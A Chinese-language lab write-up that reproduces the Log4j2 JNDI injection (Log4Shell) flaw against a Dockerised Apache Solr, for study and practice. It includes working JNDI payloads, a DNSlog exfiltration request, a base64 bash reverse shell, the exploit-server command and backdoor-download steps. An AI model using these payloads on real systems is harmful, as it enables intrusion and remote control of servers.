目录
漏洞介绍
此漏洞为log4j2漏洞,log4j2是java语言的日志处理套件,使用很广泛。在2.0到2.14.1版本中存在JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似'${jndi:ldap://evil.com/example}'的参数进行JNDI注入,执行任意代码(注:Java环境1.8也可能会存在)
什么是JNDI?
Java 命名和目录接口(Java Naming and DirectoryInterface,缩写JNDI),是Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
通俗一点来讲JNDI可以远程加载LDAP或 RMI服务端提供的恶意代码注入并执行。
以 LDAP 方式:LDAP:Idap://127.0.0.1/payload 提供恶意代码
LDAP:轻型目录访问协议(Lightweight Directory Access Protocol),它是一种用于访问和维护分布式目录服务的开放标准协议
RMI:RMI代表远程方法调用(Remote Method Invocation),它是Java平台提供的一种机制,用于在不同的Java虚拟机(JVM)之间进行远程通信和方法调用。
Log4j2 是一个日志处理框架,只要将${jndi:ldap://127.0.0.1/payload}传递到日志中就可以触发,日志的级别必须是error 或fatal。所以测试方法也比较简单粗暴,任何参数都可以直接插入${jndi:ldap://127.0.0.1/payload},我们只需要判断目标服务器有没有加载ldap://127.0.0.1/payload 就可以判断是否存在漏洞。
示例图:
解释:
攻击者首先需要建立一个ldap服务,用这个服务器来回应用客户端发出的恶意请求,恶意的ldap服务器收到这个恶意请求时就会向java应用中发送恶意执行脚本
环境:
apache log4j2不是一个特定的web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如apache solr(是一个开源的高性能搜索服务,采用java5开发,基于lucene的全文搜索服务)
启动一个apache solr 8.11.0,依赖了log4j2 2.14.1
复现过程解释:
利用bp collaborator客户端回显java版本号,跟DNSlog同理(bp不好用就用dnslog)
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过
DNSlog 把想获得的数据外带出来。
DNS 的全称是 Domain Name System(网络名称系统),它作为将域名和 IP 地址相互映射,使人更方便地访问互联网。当用户输入某一网址如 www.baidu.com,网络上的 DNS Server 会将该域名解析,并找到对应的真实IP如 127.0.0.1,使用户可以访问这台服务器上相应的服务。
DNSlog 就是存储在 DNSServer 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。
复现过程
一、启动docker打开实验环境
注:这里在启动时出现版本报错,提示版本过低,这里将version2改成2.1即可
启动成功即可访问此页面
二、确定java版本
先get subdimain得到域名
随后将域名复制进入这串代码中
得到
因为这里面存在一些特殊符号在url访问时会出错,因此需要将其转换为url编码(以下为上述内容的url编码)
%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%24%7b%73%79%73%3a%6a%61%76%61%2e%76%65%72%73%69%6f%6e%7d%2e%33%30%38%6a%79%61%2e%64%6e%73%6c%6f%67%2e%63%6e%7d
转换后将其放入以下内容进行搜索
http://192.168.100.111:8983/solr/admin/cores?action=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%24%7b%73%79%73%3a%6a%61%76%61%2e%76%65%72%73%69%6f%6e%7d%2e%33%30%38%6a%79%61%2e%64%6e%73%6c%6f%67%2e%63%6e%7d
完成搜索后回到dnslog中进行刷新
刷新完成之后可以看到dns返回的内容中有版本信息1.8.0,因为在进行访问时添加了${sys:java.version}
三、反弹shell连接
将反弹shell命令进行base64编码(因为这个命令里面包含了特殊字符,这里不是url访问所以将其改成base64编码即可)
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjcvNDQ0NCAwPiYx
启动JNDI服务
其中java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是启动了jndi
-C则是运行了后面一长串的代码{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvNDQ0NCAwPiYxIA}|{base64,-d}|{bash,-i}" -A 192.168.100.127:花括号代表了声明了这一块是一个整体,因此这串代码的意思是输出base64代码时解码在bash中运行其目标主机为192.168.100.127
注:一定要打逗号,因为前面有个bash -c,如不过不打逗号,系统会将括号里面的内容识别成两个参数,但是打了逗号才会将里面内容识别为一体
确认建立连接的方式
在上面我们确认了java的版本为1.8.0所以我们选择JDK1.8中的ldap
四、建立连接
将连接的代码放入网址中(记得将有特殊符号的地方改成url编码这个是网址)
http://192.168.100.111:8983/solr/admin/cores?action=${jndi:ldap://192.168.100.127:1389/pbr3pz}
修改成以下内容
http://192.168.100.111:8983/solr/admin/cores?action=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%31%32%37%3a%31%33%38%39%2f%70%62%72%33%70%7a%7d
在攻击机建立监听
同时这个界面不要关闭在建立连接之后才可关闭
在访问上述更改的网址之后便会成功建立连接
补充:将反弹shell放入msf中使用
一、进入msf中并启动监听
端口不要设置为4444,因为在使用
二、编写木马后门
这里上传到了apache目录中,方便下载
三、下载木马到目标机
这里通过已建立的连接进行操作,命令意为,将其下载到本机中同时将其加入执行权限,最后运行后将其删除
四、建立连接
需要注意的一点是,这里是通过容器拉取的镜像,所以当我们在查看内容的时候不是虚拟机上的内容
总结
需要确定java版本号,可以通过jndi注入来查看版本信息,随后需要编写反弹shell命令,随后通过jndi的相应命令进行操作连接,需要注意的是,在整个实验中存在大量的编码转换,转换时如果存在空格将会直接影响结果,并且在结合jndi包进行远程连接的时候{}里面两个参数之间需要添加逗号,如果不添加系统将会认为是两个参数,而非一个整体